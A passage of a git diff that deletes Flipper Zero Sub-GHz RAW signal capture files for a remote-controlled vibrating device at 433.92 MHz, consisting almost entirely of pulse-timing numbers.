-134 1213 -66 199 -100 601 -66 297 -68 1525 -68 131 -100 133 -100 363 -66 799 -66 131 -134 3387 -66 425 -100 293 -66 325 -98 587 -100 965 -100 329 -64 163 -164 197 -64 1551 -100 797 -100 333 -132 199 -66 1459 -100 465 -200 697 -166 989 -132 6229 -100 727 -66 1543 -232 1165 -66 1491 -100 299 -66 65 -66 331 -98 3319 -68 1327 -132 67 -100 895 -100 467 -100 733 -100 67 -168 601 -100 297 -264 2019 -132 263 -132 2301 -98 395 -66 1079 -66 263 -198 425 -98 559 -100 595 -98 689 -132 359 -100 785 -66 229 -130 1217 -66 897 -100 165 -164 1151 -66 3367 -166 629 -66 929 -298 823 -232 1087 -100 195 -98 229 -100 819 -66 1113 -100 491 -66 1445 -132 2003 -64 365 -66 531 -166 931 -66 4017 -66 2009 -64 2433 -66 1819 -98 885 -98 1427 -100 2241 -132 331 -98 199 -66 531 -132 531 -100 2621 -134 1927 -134 2339 -164 261 -66 5471 -130 3301 -66 2065 -874 105 -830 415 -866 97 -1152 409 -874 123 -1140 411 -844 195 -1070 1567 -546 427 -428 409 -416 349 -524 399 -432 417 -416 353 -508 399 -426 445 -412 375 -462 415 -450 387 -452 407 -428 443 -414 413 -422 411 -446 415 -410 421 -870 65 -66 279 -434 417 -844 433 -388 443 -844 401 -424 273 -842 435 -420 -RAW_Data: 415 -846 437 -846 385 -852 423 -876 419 -816 441 -848 387 -852 423 -874 413 -842 415 -844 1683 -454 389 -450 409 -426 409 -418 443 -416 409 -444 415 -420 429 -400 437 -844 423 -396 435 -416 449 -424 411 -840 451 -388 435 -434 417 -416 415 -852 395 -868 417 -420 439 -858 385 -446 419 -854 411 -416 445 -842 413 -416 449 -848 411 -846 419 -854 381 -852 435 -862 417 -844 405 -850 415 -856 423 -840 413 -876 1665 -450 403 -426 441 -414 417 -436 423 -440 413 -420 427 -398 437 -416 449 -850 411 -420 415 -418 437 -428 415 -850 415 -430 411 -444 413 -420 429 -836 413 -866 413 -408 441 -846 417 -398 437 -844 427 -424 443 -844 399 -424 445 -842 433 -846 383 -854 423 -874 411 -848 415 -844 421 -870 383 -852 423 -876 419 -818 1689 -450 403 -428 411 -418 415 -454 399 -436 417 -416 417 -452 403 -426 441 -844 399 -442 415 -412 437 -432 419 -846 409 -420 423 -444 413 -412 459 -846 385 -852 423 -446 413 -836 411 -444 415 -854 397 -434 417 -846 435 -428 417 -846 407 -850 451 -842 399 -850 413 -868 411 -856 397 -868 417 -846 429 -838 425 -852 1667 -452 381 -452 423 -416 407 -424 443 -414 411 -424 427 -410 445 -420 425 -852 387 -446 415 -418 431 -432 407 -874 397 -426 411 -416 445 -414 411 -840 415 -876 411 -416 417 -846 439 -418 417 -846 407 -422 445 -842 397 -424 443 -846 399 -854 413 -838 423 -840 447 -848 411 -844 429 -854 413 -866 379 -874 409 -868 1677 -424 443 -414 411 -420 423 -444 381 -452 427 -416 411 -426 411 -446 411 -852 411 -418 415 -420 439 -444 383 -884 399 -434 417 -416 417 -452 403 -850 415 -854 429 -406 417 -850 435 -432 417 -848 417 -428 397 -866 417 -418 451 -136328 199 -100 235 -396 65 -132 65 -100 99 -628 233 -232 363 -266 433 -100 691 -100 593 -100 459 -66 1483 -68 2677 -166 65 -100 1521 -66 1453 -66 759 -98 299 -98 1427 -68 263 -100 895 -98 133 -66 495 -132 1983 -132 2019 -266 467 -100 229 -200 365 -100 231 -200 397 -100 1033 -198 661 -66 495 -100 129 -100 725 -132 333 -66 1229 -232 865 -100 299 -98 2085 -98 297 -98 459 -98 2139 -98 825 -100 631 -164 1089 -66 167 -66 265 -100 65 -66 163 -66 1085 -100 1677 -230 1059 -132 397 -100 331 -66 131 -66 1321 -132 1517 -164 463 -166 1095 -66 3785 -66 163 -100 1225 -98 1199 -100 2245 -66 623 -66 723 -100 1455 -102 431 -200 197 -166 2371 -132 701 -66 1589 -66 265 -200 533 -298 627 -132 1027 -98 1815 -132 795 -134 133 -66 -RAW_Data: 1263 -330 2857 -162 1447 -132 561 -164 3533 -98 295 -66 361 -130 4367 -100 165 -98 10701 -134 1323 -66 567 -66 465 -198 729 -66 531 -100 497 -98 993 -130 227 -98 1545 -100 3493 -66 8127 -66 459 -68 593 -98 229 -66 197 -66 2149 -66 1059 -100 7471 -98 3693 -134 365 -68 861 -100 133 -98 697 -66 3887 -66 2207 -66 97 -66 1185 -130 1881 -230 5493 -100 563 -100 1193 -100 5353 -66 1225 -230 793 -100 3077 -164 1155 -102 131 -100 65 -66 67 -100 297 -102 765 -98 299 -232 2021 -362 4749 -98 785 -66 195 -132 1413 -98 163 -100 759 -66 2561 -100 795 -66 1035 -130 425 -132 67 -198 1415 -66 1399 -134 589 -98 825 -68 1359 -232 997 -100 929 -100 1261 -66 331 -100 697 -100 2327 -134 65 -100 2721 -66 1485 -66 2219 -66 1497 -98 2053 -134 2331 -66 4001 -166 881 -66 3381 -264 925 -200 5253 -98 951 -100 727 -68 3137 -130 359 -98 529 -66 329 -132 197 -162 985 -234 493 -198 1245 -68 133 -68 797 -232 1227 -66 1455 -68 231 -100 4445 -66 197 -64 1021 -66 1389 -166 593 -68 1709 -164 129 -264 1615 -66 1581 -234 99 -132 1329 -132 65 -64 427 -66 295 -66 459 -98 263 -166 165 -66 1285 -266 1579 -200 165 -66 1025 -134 267 -232 133 -66 829 -232 131 -66 429 -134 2959 -66 167 -132 331 -100 755 -132 97 -98 425 -64 233 -130 785 -196 195 -98 887 -100 393 -66 197 -98 491 -130 197 -98 687 -66 163 -66 399 -100 1119 -132 267 -132 65 -66 365 -132 229 -132 1527 -132 267 -100 461 -130 619 -66 1183 -132 231 -102 133 -132 197 -66 2487 -66 297 -100 595 -100 361 -132 465 -66 331 -68 463 -166 263 -134 1463 -100 727 -132 861 -100 11951 -100 131 -166 669 -132 625 -98 1777 -134 2913 -66 1825 -134 1623 -132 99 -66 563 -64 65 -66 723 -132 365 -100 767 -100 461 -132 563 -134 199 -98 1023 -64 229 -98 97 -132 897 -100 231 -232 3249 -66 297 -66 693 -98 655 -66 829 -368 99 -66 561 -134 429 -100 693 -98 599 -66 131 -100 165 -66 697 -64 335 -166 595 -100 857 -166 1991 -100 657 -66 497 -166 987 -98 957 -100 729 -68 1857 -132 67 -100 629 -66 1099 -100 761 -132 1757 -168 231 -102 1159 -98 167 -66 1333 -100 1819 -66 631 -232 3383 -68 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_01_2.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_01_2.sub deleted file mode 100644 index 147c9bb99..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_01_2.sub +++ /dev/null @@ -1,11 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 893 -100 1321 -98 727 -134 2919 -66 567 -233 1053 -66 657 -66 855 -166 2765 -166 389 -164 1145 -98 883 -100 993 -132 99 -66 363 -100 995 -66 3025 -98 887 -98 723 -64 1959 -66 2261 -68 331 -134 925 -132 529 -100 3419 -166 633 -66 665 -100 429 -100 493 -202 531 -66 167 -66 561 -68 265 -68 4125 -132 849 -66 3099 -132 693 -100 925 -166 133 -98 1189 -232 263 -68 565 -132 329 -132 393 -98 2905 -68 197 -168 399 -66 331 -66 329 -98 595 -100 233 -100 2073 -132 1729 -130 695 -134 567 -132 99 -132 1629 -66 795 -68 2587 -98 897 -98 199 -66 1157 -66 129 -196 197 -132 363 -166 161 -132 97 -132 65 -100 1257 -166 1889 -68 1157 -66 1159 -166 297 -164 1065 -100 629 -66 1959 -234 1385 -130 329 -64 1609 -98 591 -66 827 -134 533 -100 533 -100 467 -66 167 -98 133 -98 2883 -68 297 -66 297 -264 265 -66 529 -66 1093 -68 661 -100 1655 -232 1847 -66 889 -100 6305 -66 1621 -66 1925 -98 1851 -66 2965 -66 2485 -66 2549 -134 3451 -100 1063 -66 3693 -100 199 -66 929 -100 597 -232 1163 -98 393 -66 759 -132 329 -66 1483 -330 293 -166 491 -130 229 -66 131 -66 1359 -66 231 -134 431 -234 529 -68 1093 -68 597 -168 131 -68 395 -200 1777 -98 165 -100 919 -98 1049 -66 299 -66 199 -102 699 -68 199 -100 367 -132 1117 -68 459 -66 429 -460 3921 -132 1607 -66 195 -134 1727 -66 133 -66 131 -100 2717 -66 197 -134 65 -100 365 -100 1219 -66 1019 -132 727 -66 2895 -66 231 -166 493 -132 725 -166 525 -66 99 -98 721 -196 131 -98 199 -66 665 -64 527 -64 659 -66 1015 -132 1709 -132 1429 -66 663 -66 429 -100 1529 -100 727 -98 1487 -164 925 -164 1151 -66 163 -66 1229 -66 65 -134 529 -100 99 -134 633 -66 497 -100 2683 -198 787 -66 893 -64 2705 -66 699 -134 167 -236 1119 -166 327 -164 491 -98 1703 -98 291 -100 757 -130 491 -100 2369 -66 1873 -66 595 -98 2285 -98 1225 -198 1625 -66 99 -200 963 -66 331 -66 563 -98 765 -134 65 -132 529 -66 2111 -166 231 -364 459 -198 559 -66 1019 -66 295 -66 1115 -132 163 -64 263 -198 131 -66 265 -132 2371 -98 459 -64 195 -66 785 -196 329 -134 263 -100 733 -66 531 -132 1439 -66 97 -166 131 -98 425 -98 131 -66 1781 -100 1923 -66 761 -66 955 -132 163 -66 1505 -96 923 -66 2967 -198 227 -98 2405 -132 1825 -100 1127 -66 629 -100 199 -100 2257 -100 263 -66 233 -66 3225 -68 1835 -68 561 -68 199 -66 99 -100 1057 -66 199 -132 2649 -232 2059 -132 -RAW_Data: 2507 -66 1853 -100 2063 -66 299 -134 165 -100 633 -66 361 -66 491 -64 525 -66 2439 -98 497 -232 663 -100 6229 -66 261 -130 261 -96 1081 -132 1293 -100 6993 -100 2369 -264 1213 -98 14833 -100 397 -134 2455 -130 2199 -98 6875 -166 1587 -134 2453 -98 3325 -98 4669 -100 5563 -66 265 -66 4949 -66 4601 -132 4677 -66 199 -66 365 -98 2521 -68 861 -100 729 -132 1447 -326 3061 -164 459 -132 631 -66 259 -66 459 -100 663 -166 727 -100 2987 -100 499 -134 2085 -68 367 -98 559 -132 591 -98 65 -98 359 -100 695 -100 465 -66 763 -100 199 -102 1855 -166 493 -98 99 -66 2381 -98 1193 -98 395 -134 267 -132 999 -166 597 -66 1891 -164 2121 -68 165 -134 1449 -66 491 -230 1353 -66 67 -98 363 -134 363 -134 599 -98 631 -100 101 -100 1287 -166 629 -200 1195 -100 65 -66 761 -68 4777 -132 4221 -132 2345 -66 453 -100 755 -98 2529 -134 657 -132 1743 -66 293 -66 467 -100 831 -100 299 -134 593 -130 523 -66 1955 -66 599 -100 331 -98 931 -100 831 -98 1591 -132 765 -168 629 -68 2155 -66 433 -66 165 -66 1021 -98 1119 -66 691 -66 197 -166 363 -68 893 -66 327 -132 95 -66 1083 -66 759 -66 131 -66 1029 -64 823 -196 725 -100 663 -134 1097 -166 1261 -66 1563 -132 99 -168 499 -98 2121 -232 497 -296 397 -100 131 -100 1123 -132 2497 -68 597 -168 697 -100 469 -68 763 -68 1463 -66 1197 -98 265 -132 1357 -134 99 -262 1391 -68 361 -98 263 -130 591 -66 1149 -98 329 -100 563 -134 2545 -66 397 -134 197 -236 165 -100 1127 -134 1385 -98 129 -66 2815 -100 163 -100 261 -196 395 -130 465 -66 1257 -66 267 -134 523 -132 195 -98 331 -66 2091 -100 785 -848 389 -902 383 -852 425 -872 381 -876 413 -844 427 -850 417 -846 1695 -414 409 -438 415 -450 387 -450 407 -428 407 -448 417 -424 397 -434 415 -884 399 -430 415 -416 419 -450 403 -852 413 -412 419 -412 445 -416 417 -858 413 -846 425 -424 443 -844 397 -422 443 -846 401 -426 445 -842 399 -424 441 -846 401 -884 385 -852 427 -840 417 -848 437 -848 385 -888 389 -874 379 -878 411 -842 1679 -452 385 -450 403 -426 407 -418 443 -422 413 -446 389 -444 415 -442 395 -852 417 -440 427 -388 445 -846 403 -454 413 -416 409 -452 381 -874 407 -422 411 -878 411 -422 427 -838 417 -418 417 -858 411 -416 443 -848 411 -418 415 -850 441 -848 385 -852 425 -872 379 -874 409 -844 425 -856 413 -836 411 -876 407 -850 1697 -444 415 -416 411 -438 419 -414 417 -450 401 -428 405 -418 443 -420 -RAW_Data: 397 -868 417 -418 437 -432 389 -876 407 -452 381 -444 415 -450 401 -856 383 -448 425 -856 381 -442 421 -870 385 -444 409 -878 395 -424 441 -844 399 -426 409 -844 427 -852 413 -852 427 -838 417 -882 411 -848 421 -852 387 -874 417 -858 411 -848 1677 -450 387 -436 429 -418 415 -418 417 -436 427 -442 383 -448 387 -434 433 -846 427 -426 407 -448 411 -852 413 -416 415 -420 449 -404 425 -838 415 -448 415 -840 415 -418 443 -850 413 -420 415 -848 439 -418 415 -846 441 -418 415 -848 397 -870 385 -886 387 -876 413 -848 413 -846 423 -872 383 -852 423 -876 411 -848 1695 -398 435 -416 445 -414 411 -444 413 -444 395 -424 407 -446 409 -422 423 -838 417 -420 441 -412 415 -850 405 -454 411 -416 417 -450 403 -854 413 -418 431 -854 411 -442 409 -844 425 -428 409 -844 427 -424 441 -842 401 -424 409 -876 399 -846 451 -818 425 -840 447 -848 413 -846 421 -852 387 -876 419 -854 411 -848 1677 -420 419 -452 405 -424 441 -382 451 -430 397 -436 415 -418 417 -452 403 -852 413 -454 403 -398 437 -838 423 -396 437 -410 445 -420 427 -840 415 -414 451 -838 413 -410 445 -844 411 -416 447 -848 413 -418 417 -846 435 -388 447 -117854 131 -166 657 -498 65 -830 563 -132 631 -134 267 -100 97 -232 495 -100 197 -134 1461 -164 1697 -132 987 -100 459 -66 1633 -66 1987 -98 855 -68 599 -66 825 -100 165 -166 99 -100 299 -366 1327 -68 361 -100 997 -132 953 -132 459 -66 797 -98 563 -134 1127 -98 557 -132 589 -230 981 -66 1513 -98 99 -66 493 -162 1281 -364 1477 -132 395 -98 1291 -134 1129 -68 8409 -66 299 -264 1359 -66 3445 -66 295 -264 759 -164 293 -200 195 -98 459 -66 559 -264 329 -98 893 -100 1325 -166 2591 -132 2695 -100 297 -132 331 -66 1299 -166 3137 -134 921 -98 2065 -66 393 -100 633 -100 823 -98 849 -98 623 -64 1509 -100 1161 -166 497 -100 231 -66 567 -200 5093 -68 5933 -362 265 -232 1495 -132 131 -164 423 -100 561 -128 359 -98 2641 -100 661 -132 627 -66 465 -100 231 -168 633 -66 197 -100 497 -100 495 -100 233 -100 833 -66 367 -166 1197 -66 1887 -68 893 -66 961 -66 3945 -100 2985 -132 725 -134 261 -392 131 -132 595 -196 1847 -130 1579 -264 1295 -98 133 -98 1827 -100 229 -164 459 -166 359 -100 2307 -66 2123 -66 1661 -100 131 -298 195 -236 2327 -330 233 -166 199 -66 563 -66 431 -100 491 -66 163 -164 1451 -100 993 -66 499 -100 431 -100 495 -200 495 -98 3715 -66 1093 -66 889 -100 4653 -234 99 -100 959 -166 -RAW_Data: 1261 -100 1927 -66 6643 -66 231 -200 4541 -66 4013 -66 1021 -66 755 -98 3793 -66 729 -100 925 -164 131 -64 4205 -100 13039 -64 2715 -66 4437 -132 2295 -68 2119 -132 567 -66 2269 -98 195 -66 395 -162 3257 -66 5773 -66 1627 -66 995 -66 1613 -132 1519 -66 3167 -98 1227 -66 2481 -68 1227 -66 165 -134 5037 -134 963 -66 1325 -264 795 -66 961 -100 165 -66 1859 -66 1359 -100 827 -100 561 -100 1667 -66 2055 -132 461 -134 531 -100 629 -132 233 -66 265 -166 697 -66 2357 -102 631 -164 1919 -100 1693 -66 631 -66 299 -66 663 -100 791 -132 1551 -98 527 -98 165 -198 1425 -364 1065 -100 99 -98 399 -330 461 -166 133 -68 997 -132 2259 -100 465 -66 729 -166 699 -198 695 -66 1061 -98 65 -100 557 -98 663 -98 527 -166 101 -100 667 -66 4415 -64 2589 -132 165 -68 1219 -66 1293 -98 2151 -66 631 -100 631 -132 263 -100 1019 -66 595 -98 955 -196 1055 -66 263 -132 723 -66 729 -100 593 -268 865 -100 363 -98 599 -98 761 -232 1625 -166 691 -66 1165 -134 1255 -130 2151 -66 199 -66 397 -100 65 -100 1859 -164 497 -68 1619 -66 133 -134 465 -66 665 -68 995 -66 3521 -66 3017 -166 563 -66 2463 -98 2535 -164 335 -166 2027 -98 631 -66 231 -200 1227 -66 2025 -66 527 -166 1023 -198 531 -68 197 -132 2109 -98 461 -66 791 -134 465 -66 465 -100 791 -66 1583 -134 99 -66 199 -132 465 -100 665 -200 535 -100 899 -66 2287 -98 1445 -66 687 -66 331 -132 1459 -200 331 -66 433 -66 527 -98 1255 -98 3517 -100 697 -132 1517 -98 197 -130 2735 -66 357 -98 1577 -166 1161 -68 1995 -100 367 -200 793 -66 499 -298 99 -134 429 -132 561 -132 163 -98 97 -164 753 -64 2313 -166 2697 -66 799 -98 527 -68 2593 -232 1349 -64 297 -130 195 -168 955 -66 393 -68 867 -66 1027 -100 429 -68 997 -100 1427 -100 97 -68 263 -168 601 -66 691 -232 1949 -102 631 -330 493 -100 887 -100 1021 -66 167 -68 993 -98 463 -66 1311 -66 129 -264 99 -296 3421 -66 631 -98 3485 -66 1673 -66 663 -100 461 -100 299 -66 1229 -66 3045 -100 563 -68 199 -66 493 -98 2271 -66 259 -100 131 -68 893 -102 661 -100 131 -134 297 -198 563 -66 925 -166 65 -132 1657 -98 263 -100 1785 -100 765 -232 663 -66 199 -100 367 -100 767 -198 595 -66 4341 -166 131 -98 1055 -66 2123 -134 893 -66 327 -66 885 -132 397 -102 2871 -66 589 -64 425 -98 4735 -132 2357 -66 465 -66 2597 -164 561 -100 1057 -134 1895 -100 863 -66 919 -100 691 -130 131 -98 427 -98 -RAW_Data: 297 -66 199 -66 1523 -166 7663 -68 2385 -66 4491 -164 659 -100 229 -100 4671 -66 2085 -98 295 -66 1547 -196 3347 -98 3083 -164 4001 -66 1823 -66 1297 -98 199 -102 1423 -66 529 -66 723 -66 14177 -66 1019 -100 467 -132 331 -132 297 -98 63 -66 163 -100 1717 -66 1851 -100 4637 -166 65 -134 99 -98 1263 -132 5055 -100 597 -66 1827 -66 1629 -100 165 -66 163 -98 131 -66 461 -328 953 -132 3837 -66 657 -66 429 -66 297 -98 1709 -98 131 -162 1477 -132 1577 -132 657 -132 1459 -132 195 -164 1189 -132 229 -66 985 -132 1021 -68 399 -100 423 -132 259 -130 819 -66 365 -66 133 -66 1761 -66 457 -66 423 -66 261 -66 559 -66 427 -132 2497 -100 1283 -66 329 -100 555 -98 625 -98 263 -66 163 -100 423 -100 431 -66 1193 -132 229 -100 1129 -68 565 -66 497 -270 597 -100 965 -100 861 -100 267 -66 397 -68 565 -168 4115 -298 3493 -98 6263 -100 231 -98 435 -66 131 -68 363 -166 531 -166 133 -102 465 -300 661 -132 227 -66 261 -132 229 -98 529 -66 2265 -64 2071 -132 227 -100 1279 -164 95 -132 2239 -100 2285 -332 299 -100 231 -100 331 -66 331 -66 131 -98 625 -366 265 -98 367 -198 761 -66 457 -100 857 -66 1191 -164 727 -66 261 -198 295 -98 2467 -234 629 -100 2615 -102 1589 -132 1787 -66 661 -100 959 -66 165 -134 1393 -100 527 -98 887 -132 97 -130 455 -66 723 -98 855 -132 65 -66 1775 -100 729 -198 885 -100 293 -64 2123 -134 331 -134 495 -100 2391 -100 1557 -132 297 -100 331 -134 65 -200 395 -98 797 -234 299 -166 2707 -98 1409 -66 629 -100 895 -100 693 -166 2647 -166 919 -98 365 -198 397 -100 65 -66 1093 -100 7051 -66 861 -66 2123 -66 857 -66 765 -98 331 -66 2903 -130 259 -66 161 -66 1149 -98 1119 -132 1391 -166 329 -66 597 -166 927 -132 395 -98 761 -166 163 -64 361 -164 65 -130 163 -164 65 -130 99 -230 97 -230 687 -66 1499 -132 933 -200 199 -66 1983 -98 2921 -130 3337 -68 97 -166 331 -66 461 -66 1711 -132 133 -66 1329 -66 133 -100 131 -68 531 -68 661 -68 131 -134 367 -66 927 -98 165 -202 4771 -66 293 -230 1215 -134 1659 -196 459 -98 99 -98 295 -132 589 -264 131 -66 393 -164 1057 -198 397 -66 1221 -100 763 -66 1757 -66 4113 -102 267 -66 303 -66 961 -68 231 -100 795 -132 65 -166 829 -66 197 -100 1591 -66 565 -68 531 -266 431 -134 1389 -100 1959 -100 1689 -132 65 -66 527 -66 1251 -66 431 -66 929 -132 3849 -66 429 -66 789 -130 99 -64 2143 -100 859 -66 -RAW_Data: 2337 -66 1093 -66 2711 -98 1645 -68 3125 -98 2961 -132 199 -98 2341 -66 2385 -66 7409 -198 395 -132 163 -132 1821 -66 891 -66 725 -98 11147 -66 2739 -98 525 -100 1223 -100 1689 -132 1061 -66 3153 -66 4221 -100 3653 -66 163 -100 393 -132 99 -66 2993 -132 1873 -100 1319 -132 1123 -66 233 -100 1135 -66 231 -132 6687 -66 65 -164 1545 -198 429 -98 293 -98 361 -132 193 -66 231 -98 295 -232 831 -66 2707 -98 2085 -98 361 -264 527 -164 395 -98 465 -66 97 -66 1323 -66 267 -132 1877 -98 163 -130 6221 -100 597 -66 863 -100 199 -100 1727 -100 625 -98 1251 -100 917 -132 293 -134 97 -132 3115 -166 897 -100 1147 -132 2391 -66 65 -100 1525 -100 1455 -98 2403 -100 301 -66 1597 -132 991 -64 163 -66 1049 -98 755 -66 887 -66 131 -100 129 -98 99 -266 233 -132 2323 -66 1129 -100 363 -134 1033 -66 133 -100 925 -232 429 -66 1329 -164 955 -66 295 -66 391 -100 827 -64 625 -132 1131 -132 3063 -66 131 -234 793 -132 567 -100 165 -132 65 -134 529 -100 267 -166 233 -100 331 -134 959 -100 467 -102 329 -100 599 -166 165 -66 363 -132 561 -328 297 -66 333 -130 3863 -66 1363 -134 991 -100 199 -132 863 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_01_3.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_01_3.sub deleted file mode 100644 index 8ae3c4c7c..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_01_3.sub +++ /dev/null @@ -1,9 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: -100 1199 -132 2577 -100 859 -98 1247 381 785 -66 463 -66 1891 -166 393 -98 765 -134 5635 -132 297 -100 1331 -66 99 -134 499 -66 2123 -132 199 -168 333 -66 2577 -200 529 -134 529 -66 297 -166 131 -68 1857 -234 1061 -66 1449 -66 2701 -100 597 -232 1591 -66 1749 -100 1319 -164 915 -66 401 -98 499 -100 265 -134 861 -66 1357 -100 499 -134 965 -100 1229 -100 99 -134 1359 -234 133 -200 2333 -132 1549 -66 393 -100 819 -100 429 -134 1695 -98 661 -100 429 -100 1251 -134 65 -166 825 -100 531 -100 631 -100 1161 -232 65 -134 97 -66 1789 -100 1161 -134 895 -132 795 -66 199 -100 563 -98 3217 -100 795 -100 599 -98 629 -100 1229 -100 963 -66 763 -130 631 -200 1965 -66 1229 -66 1057 -202 531 -66 131 -98 1379 -132 67 -66 529 -234 4009 -98 757 -100 1353 -66 425 -98 227 -66 4075 -132 719 -100 2333 -100 819 -100 953 -66 1429 -68 697 -66 295 -198 1055 -100 1065 -66 1193 -66 99 -68 265 -100 825 -98 261 -66 957 -232 1709 -132 599 -98 663 -66 1327 -100 397 -100 327 -134 499 -100 1785 -132 1497 -100 299 -98 1131 -100 2919 -132 2229 -164 621 -66 523 -98 425 -98 425 -200 431 -100 431 -66 199 -98 233 -98 499 -462 427 -200 265 -100 265 -166 565 -100 2519 -100 893 -66 597 -164 957 -264 195 -66 793 -132 2355 -100 793 -100 467 -166 1993 -66 729 -68 531 -66 865 -66 1557 -168 399 -100 431 -134 931 -66 133 -132 163 -132 165 -168 1427 -66 795 -100 99 -66 629 -66 1191 -100 459 -164 685 -164 161 -98 295 -100 99 -100 235 -134 2983 -66 2057 -66 693 -100 1691 -100 927 -66 1119 -132 233 -100 4715 -66 3327 -100 1227 -166 2873 -66 459 -66 4159 -66 981 -132 3509 -66 65 -66 197 -168 557 -98 459 -168 331 -68 533 -234 627 -130 129 -98 555 -66 667 -232 331 -100 629 -66 1159 -166 1261 -68 1755 -68 1623 -132 825 -230 395 -166 65 -66 3171 -66 465 -66 497 -132 1131 -66 131 -100 2851 -66 763 -66 365 -168 1391 -98 789 -66 165 -68 563 -66 535 -66 597 -132 1227 -100 3517 -66 1787 -66 365 -66 727 -100 1927 -66 699 -198 2823 -100 365 -98 797 -132 759 -66 131 -66 197 -100 1185 -98 3389 -100 457 -98 97 -66 6729 -134 3653 -68 3005 -100 429 -66 2315 -66 397 -66 567 -100 565 -66 261 -100 625 -366 165 -166 99 -102 463 -68 1127 -100 431 -134 1861 -132 299 -102 233 -134 1023 -132 1381 -164 295 -64 131 -130 2211 -66 1689 -196 1157 -134 695 -100 4209 -230 331 -130 791 -100 1855 -68 563 -100 2061 -98 3789 -RAW_Data: -132 887 -98 2663 -66 263 -100 793 -66 4547 -66 6753 -894 377 -878 373 -882 387 -892 383 -878 399 -862 415 -848 403 -884 1673 -448 385 -450 403 -428 407 -418 413 -456 399 -438 417 -448 385 -444 407 -876 397 -426 407 -448 411 -880 381 -450 409 -434 385 -446 417 -854 427 -440 385 -880 399 -434 419 -844 407 -454 387 -876 411 -418 395 -870 417 -420 415 -862 411 -846 423 -840 413 -864 411 -846 415 -864 411 -842 427 -836 415 -886 387 -872 1693 -424 411 -444 383 -450 391 -450 405 -426 441 -414 421 -430 415 -412 425 -842 447 -418 397 -438 417 -848 417 -860 409 -416 417 -420 441 -836 419 -848 437 -846 383 -440 411 -842 429 -422 443 -844 435 -386 445 -846 403 -424 409 -876 399 -846 415 -854 425 -840 415 -840 437 -838 425 -854 409 -840 423 -840 413 -878 1665 -452 403 -396 435 -448 417 -424 399 -432 417 -448 387 -450 409 -426 407 -844 427 -424 443 -382 451 -852 411 -846 421 -414 411 -424 441 -844 399 -854 413 -856 395 -434 417 -882 401 -428 417 -846 409 -440 417 -848 407 -456 417 -844 409 -862 417 -848 401 -884 423 -850 419 -846 409 -846 415 -842 429 -852 415 -852 1679 -424 411 -446 385 -448 433 -414 413 -424 411 -448 411 -422 421 -442 383 -884 415 -442 387 -444 417 -836 441 -848 411 -418 423 -442 383 -870 409 -840 439 -866 419 -412 413 -848 447 -382 437 -870 419 -414 419 -820 443 -416 417 -846 441 -844 423 -818 451 -848 419 -820 441 -844 425 -818 451 -848 413 -842 415 -844 1709 -410 437 -418 419 -414 409 -438 413 -452 387 -452 441 -388 443 -414 413 -850 417 -416 445 -414 409 -840 447 -850 449 -382 451 -392 441 -838 419 -848 445 -844 417 -410 445 -842 403 -424 447 -840 433 -388 449 -844 433 -388 445 -842 403 -848 451 -820 421 -840 449 -846 415 -842 427 -856 411 -836 409 -846 447 -844 1701 -418 405 -426 445 -382 451 -422 409 -412 415 -452 423 -410 447 -382 453 -814 441 -386 449 -416 439 -840 423 -846 433 -388 447 -382 445 -848 417 -844 429 -854 411 -420 431 -820 441 -422 427 -834 443 -408 445 -806 431 -426 445 -111826 65 -100 99 -232 99 -1064 165 -592 97 -100 163 -162 97 -100 99 -164 263 -130 195 -132 161 -98 983 -100 631 -100 297 -68 1063 -66 2155 -100 99 -66 3285 -66 1993 -134 463 -132 1725 -166 859 -100 299 -66 197 -66 293 -66 295 -66 893 -366 999 -132 1059 -332 165 -98 367 -66 431 -98 1491 -68 1859 -100 297 -164 533 -102 1427 -66 229 -100 1889 -66 265 -100 963 -166 299 -RAW_Data: -100 231 -100 765 -66 2079 -66 9011 -66 1245 -100 631 -164 363 -66 361 -98 129 -66 1853 -66 1837 -164 429 -100 3977 -132 1027 -100 9507 -98 789 -100 333 -66 2537 -66 1423 -98 827 -98 1289 -66 1057 -132 1531 -98 12989 -66 2841 -66 6967 -66 3183 -66 4895 -66 265 -68 429 -132 229 -98 661 -100 1561 -100 831 -100 263 -102 333 -100 361 -132 863 -132 1063 -66 99 -130 923 -66 429 -66 427 -66 3665 -66 797 -132 635 -266 1063 -98 1363 -100 2549 -66 229 -66 1453 -66 133 -66 365 -100 2283 -98 161 -164 4751 -168 165 -66 535 -164 835 -66 1329 -68 1625 -66 529 -66 2117 -130 1051 -66 461 -266 495 -68 4537 -132 299 -68 1025 -166 863 -66 329 -234 131 -68 759 -168 731 -100 1131 -132 501 -132 1495 -166 791 -100 3747 -330 1425 -100 1229 -66 401 -98 1191 -100 695 -96 195 -98 1941 -132 1375 -66 1153 -132 199 -66 193 -66 389 -64 495 -100 723 -130 3037 -100 1887 -166 199 -166 701 -300 197 -66 331 -132 423 -100 951 -166 197 -164 261 -164 295 -162 491 -100 229 -98 297 -100 1855 -66 597 -66 233 -132 1061 -296 331 -100 99 -66 165 -132 99 -166 165 -100 1527 -102 1065 -66 233 -100 1357 -100 731 -64 363 -66 2087 -68 431 -68 1991 -100 993 -238 231 -66 131 -134 531 -66 399 -66 297 -166 463 -100 165 -66 3849 -234 1595 -166 2055 -66 663 -66 1625 -66 1261 -98 997 -66 1487 -100 2263 -132 853 -98 1545 -66 1677 -100 661 -132 1393 -66 365 -132 1955 -166 1819 -134 1887 -98 163 -98 1187 -164 1585 -66 567 -68 461 -132 461 -100 2759 -100 2043 -98 463 -66 1753 -100 131 -234 797 -164 1249 -100 563 -100 435 -68 2219 -100 497 -166 2179 -66 333 -134 233 -98 265 -100 297 -66 429 -66 1463 -100 327 -166 3781 -100 1089 -362 99 -98 595 -98 231 -164 855 -134 2029 -166 1163 -66 197 -66 1649 -66 